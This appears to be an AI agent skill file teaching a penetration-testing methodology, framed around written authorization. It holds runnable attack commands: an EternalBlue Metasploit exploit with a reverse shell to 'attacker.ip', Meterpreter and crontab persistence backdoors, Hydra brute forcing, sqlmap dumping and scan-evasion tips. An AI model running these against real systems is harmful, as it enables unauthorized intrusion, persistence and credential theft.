| name | Ethical Hacking Methodology |
| description | This skill should be used when the user asks to "learn ethical hacking", "understand penetration testing lifecycle", "perform reconnaissance", "conduct security scanning", "exploit vulnerabilities", or "write penetration test reports". It provides comprehensive ethical hacking methodology and techniques. |
| metadata | {"author":"zebbern","version":"1.1"} |
Ethical Hacking Methodology
Purpose
Master the complete penetration testing lifecycle from reconnaissance through reporting. This skill covers the five stages of ethical hacking methodology, essential tools, attack techniques, and professional reporting for authorized security assessments.
Prerequisites
Required Environment
- Kali Linux installed (persistent or live)
- Network access to authorized targets
- Written authorization from system owner
Required Knowledge
- Basic networking concepts
- Linux command-line proficiency
- Understanding of web technologies
- Familiarity with security concepts
Outputs and Deliverables
- Reconnaissance Report - Target information gathered
- Vulnerability Assessment - Identified weaknesses
- Exploitation Evidence - Proof of concept attacks
- Final Report - Executive and technical findings
Core Workflow
Phase 1: Understanding Hacker Types
Classification of security professionals:
White Hat Hackers (Ethical Hackers)
- Authorized security professionals
- Conduct penetration testing with permission
- Goal: Identify and fix vulnerabilities
- Also known as: penetration testers, security consultants
Black Hat Hackers (Malicious)
- Unauthorized system intrusions
- Motivated by profit, revenge, or notoriety
- Goal: Steal data, cause damage
- Also known as: crackers, criminal hackers
Grey Hat Hackers (Hybrid)
- May cross ethical boundaries
- Not malicious but may break rules
- Often disclose vulnerabilities publicly
- Mixed motivations
Other Classifications
- Script Kiddies: Use pre-made tools without understanding
- Hacktivists: Politically or socially motivated
- Nation State: Government-sponsored operatives
- Coders: Develop tools and exploits
Phase 2: Reconnaissance
Gather information without direct system interaction:
Passive Reconnaissance
whois target.com
nslookup target.com
dig target.com ANY
dig target.com MX
dig target.com NS
dnsrecon -d target.com
theHarvester -d target.com -b all
Google Hacking (OSINT)
# Find exposed files
site:target.com filetype:pdf
site:target.com filetype:xls
site:target.com filetype:doc
# Find login pages
site:target.com inurl:login
site:target.com inurl:admin
# Find directory listings
site:target.com intitle:"index of"
# Find configuration files
site:target.com filetype:config
site:target.com filetype:env
Google Hacking Database Categories:
- Files containing passwords
- Sensitive directories
- Web server detection
- Vulnerable servers
- Error messages
- Login portals
Social Media Reconnaissance
- LinkedIn: Organizational charts, technologies used
- Twitter: Company announcements, employee info
- Facebook: Personal information, relationships
- Job postings: Technology stack revelations
Phase 3: Scanning
Active enumeration of target systems:
Host Discovery
nmap -sn 192.168.1.0/24
arp-scan -l
nmap -sP 192.168.1.0/24
Port Scanning
nmap -sS target.com
nmap -sT target.com
nmap -sU target.com
nmap -p- target.com
nmap -sV target.com
nmap -A target.com
Service Enumeration
nmap --script=http-enum target.com
nmap --script=smb-enum-shares target.com
nmap --script=ftp-anon target.com
nmap --script=vuln target.com
Common Port Reference
| Port | Service | Notes |
|---|
| 21 | FTP | File transfer |
| 22 | SSH | Secure shell |
| 23 | Telnet | Unencrypted remote |
| 25 | SMTP | Email |
| 53 | DNS | Name resolution |
| 80 | HTTP | Web |
| 443 | HTTPS | Secure web |
| 445 | SMB | Windows shares |
| 3306 | MySQL | Database |
| 3389 | RDP | Remote desktop |
Phase 4: Vulnerability Analysis
Identify exploitable weaknesses:
Automated Scanning
nikto -h http://target.com
omp -u admin -w password --xml="<get_tasks/>"
nessuscli scan --target target.com
Web Application Testing (OWASP)
- SQL Injection
- Cross-Site Scripting (XSS)
- Broken Authentication
- Security Misconfiguration
- Sensitive Data Exposure
- XML External Entities (XXE)
- Broken Access Control
- Insecure Deserialization
- Using Components with Known Vulnerabilities
- Insufficient Logging & Monitoring
Manual Techniques
gobuster dir -u http://target.com -w /usr/share/wordlists/dirb/common.txt
gobuster dns -d target.com -w /usr/share/wordlists/subdomains.txt
whatweb target.com
Phase 5: Exploitation
Actively exploit discovered vulnerabilities:
Metasploit Framework
msfconsole
msf> search type:exploit name:smb
msf> use exploit/windows/smb/ms17_010_eternalblue
msf> set RHOSTS target.com
msf> set PAYLOAD windows/meterpreter/reverse_tcp
msf> set LHOST attacker.ip
msf> exploit
Password Attacks
hydra -l admin -P /usr/share/wordlists/rockyou.txt ssh://target.com
hydra -L users.txt -P passwords.txt ftp://target.com
john --wordlist=/usr/share/wordlists/rockyou.txt hashes.txt
Web Exploitation
sqlmap -u "http://target.com/page.php?id=1" --dbs
sqlmap -u "http://target.com/page.php?id=1" -D database --tables
Phase 6: Maintaining Access
Establish persistent access:
Backdoors
meterpreter> run persistence -X -i 30 -p 4444 -r attacker.ip
echo "* * * * * /tmp/backdoor.sh" >> /etc/crontab
Privilege Escalation
linpeas.sh
linux-exploit-suggester.sh
winpeas.exe
windows-exploit-suggester.py
find / -perm -4000 2>/dev/null
sudo -l
Covering Tracks (Ethical Context)
- Document all actions taken
- Maintain logs for reporting
- Avoid unnecessary system changes
- Clean up test files and backdoors
Phase 7: Reporting
Document findings professionally:
Report Structure
-
Executive Summary
- High-level findings
- Business impact
- Risk ratings
- Remediation priorities
-
Technical Findings
- Vulnerability details
- Proof of concept
- Screenshots/evidence
- Affected systems
-
Risk Ratings
- Critical: Immediate action required
- High: Address within 24-48 hours
- Medium: Address within 1 week
- Low: Address within 1 month
- Informational: Best practice recommendations
-
Remediation Recommendations
- Specific fixes for each finding
- Short-term mitigations
- Long-term solutions
- Resource requirements
-
Appendices
- Detailed scan outputs
- Tool configurations
- Testing timeline
- Scope and methodology
Phase 8: Common Attack Types
Phishing
- Email-based credential theft
- Fake login pages
- Malicious attachments
- Social engineering component
Malware Types
- Virus: Self-replicating, needs host file
- Worm: Self-propagating across networks
- Trojan: Disguised as legitimate software
- Ransomware: Encrypts files for ransom
- Rootkit: Hidden system-level access
- Spyware: Monitors user activity
Network Attacks
- Man-in-the-Middle (MITM)
- ARP Spoofing
- DNS Poisoning
- DDoS (Distributed Denial of Service)
Phase 9: Kali Linux Setup
Install penetration testing platform:
Hard Disk Installation
- Download ISO from kali.org
- Boot from installation media
- Select "Graphical Install"
- Configure language, location, keyboard
- Set hostname and root password
- Partition disk (Guided - use entire disk)
- Install GRUB bootloader
- Reboot and login
Live USB (Persistent)
dd if=kali-linux.iso of=/dev/sdb bs=512k status=progress
gparted /dev/sdb
mkdir /mnt/usb
mount /dev/sdb2 /mnt/usb
echo "/ union" > /mnt/usb/persistence.conf
umount /mnt/usb
Phase 10: Ethical Guidelines
Legal Requirements
- Obtain written authorization
- Define scope clearly
- Document all testing activities
- Report all findings to client
- Maintain confidentiality
Professional Conduct
- Work ethically with integrity
- Respect privacy of data accessed
- Avoid unnecessary system damage
- Execute planned tests only
- Never use findings for personal gain
Quick Reference
Penetration Testing Lifecycle
| Stage | Purpose | Key Tools |
|---|
| Reconnaissance | Gather information | theHarvester, WHOIS, Google |
| Scanning | Enumerate targets | Nmap, Nikto, Gobuster |
| Exploitation | Gain access | Metasploit, SQLMap, Hydra |
| Maintaining Access | Persistence | Meterpreter, SSH keys |
| Reporting | Document findings | Report templates |
Essential Commands
| Command | Purpose |
|---|
nmap -sV target | Port and service scan |
nikto -h target | Web vulnerability scan |
msfconsole | Start Metasploit |
hydra -l user -P list ssh://target | SSH brute force |
sqlmap -u "url?id=1" --dbs | SQL injection |
Constraints and Limitations
Authorization Required
- Never test without written permission
- Stay within defined scope
- Report unauthorized access attempts
Professional Standards
- Follow rules of engagement
- Maintain client confidentiality
- Document methodology used
- Provide actionable recommendations
Troubleshooting
Scans Blocked
Solutions:
- Use slower scan rates
- Try different scanning techniques
- Use proxy or VPN
- Fragment packets
Exploits Failing
Solutions:
- Verify target vulnerability exists
- Check payload compatibility
- Adjust exploit parameters
- Try alternative exploits